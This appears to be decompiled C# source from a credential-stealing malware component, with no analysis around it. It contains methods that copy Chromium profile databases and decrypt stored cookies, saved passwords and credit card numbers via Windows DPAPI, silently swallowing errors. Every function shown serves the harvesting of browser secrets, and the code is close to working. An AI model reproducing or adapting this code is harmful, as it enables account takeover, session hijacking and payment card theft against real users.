// Token: 0x060000AE RID: 174 RVA: 0x0000561C File Offset: 0x0000381C public static IEnumerable <BrowserCookie> ExtractCookies(string profilePath) { List <BrowserCookie> list = new List <BrowserCookie>(); try { string text = Path.Combine(profilePath, "Cookies"); if (!File.Exists(text)) { return(list); } SQLiteManager sqliteManager = new SQLiteManager(ChromiumManager.CreateTempCopy(text)); sqliteManager.ReadTable("cookies"); for (int i = 0; i < sqliteManager.GetRowCount(); i++) { BrowserCookie browserCookie = null; try { browserCookie = new BrowserCookie { Host = sqliteManager.GetValue(i, "host_key").Trim(), Http = (sqliteManager.GetValue(i, "httponly") == "1"), Path = sqliteManager.GetValue(i, "path").Trim(), Secure = (sqliteManager.GetValue(i, "secure") == "1"), Expires = sqliteManager.GetValue(i, "expires_utc").Trim(), Name = sqliteManager.GetValue(i, "name").Trim(), Value = ChromiumManager.DecryptBlob(sqliteManager.GetValue(i, "encrypted_value"), DataProtectionScope.CurrentUser, null, false).Trim() }; } catch { } if (browserCookie != null) { list.Add(browserCookie); } } } catch { } return(list); }
// Token: 0x060000B3 RID: 179 RVA: 0x0000598C File Offset: 0x00003B8C public static BrowserCredendtial OldChromeCredential(SQLiteManager manager, int row) { BrowserCredendtial browserCredendtial = new BrowserCredendtial(); try { browserCredendtial.URL = manager.GetValue(row, "origin_url").Trim(); browserCredendtial.Login = manager.GetValue(row, "username_value").Trim(); browserCredendtial.Password = ChromiumManager.DecryptBlob(manager.GetValue(row, "password_value"), DataProtectionScope.CurrentUser, null, false).Trim(); } catch { } finally { browserCredendtial.Login = (string.IsNullOrEmpty(browserCredendtial.Login) ? "UNKNOWN" : browserCredendtial.Login); browserCredendtial.Password = (string.IsNullOrEmpty(browserCredendtial.Password) ? "UNKNOWN" : browserCredendtial.Password); browserCredendtial.URL = (string.IsNullOrEmpty(browserCredendtial.URL) ? "UNKNOWN" : browserCredendtial.URL); } return(browserCredendtial); }
// Token: 0x060000B0 RID: 176 RVA: 0x00005858 File Offset: 0x00003A58 public static IEnumerable <BrowserCreditCard> ExtractCreditCards(string profilePath) { List <BrowserCreditCard> list = new List <BrowserCreditCard>(); try { string text = Path.Combine(profilePath, "Web Data"); if (!File.Exists(text)) { return(list); } SQLiteManager sqliteManager = new SQLiteManager(ChromiumManager.CreateTempCopy(text)); sqliteManager.ReadTable("credit_cards"); for (int i = 0; i < sqliteManager.GetRowCount(); i++) { BrowserCreditCard browserCreditCard = null; try { browserCreditCard = new BrowserCreditCard { Holder = sqliteManager.GetValue(i, "name_on_card").Trim(), ExpirationMonth = Convert.ToInt32(sqliteManager.GetValue(i, "expiration_month").Trim()), ExpirationYear = Convert.ToInt32(sqliteManager.GetValue(i, "expiration_year").Trim()), CardNumber = ChromiumManager.DecryptBlob(sqliteManager.GetValue(i, "card_number_encrypted"), DataProtectionScope.CurrentUser, null, false).Trim() }; } catch { } if (browserCreditCard != null) { list.Add(browserCreditCard); } } } catch { } return(list); }
// Token: 0x060000B9 RID: 185 RVA: 0x00002625 File Offset: 0x00000825 public static string DecryptBlob(string EncryptedData, DataProtectionScope dataProtectionScope, byte[] entropy = null, bool yandex = false) { return(ChromiumManager.DecryptBlob(Encoding.Default.GetBytes(EncryptedData), dataProtectionScope, entropy, yandex)); }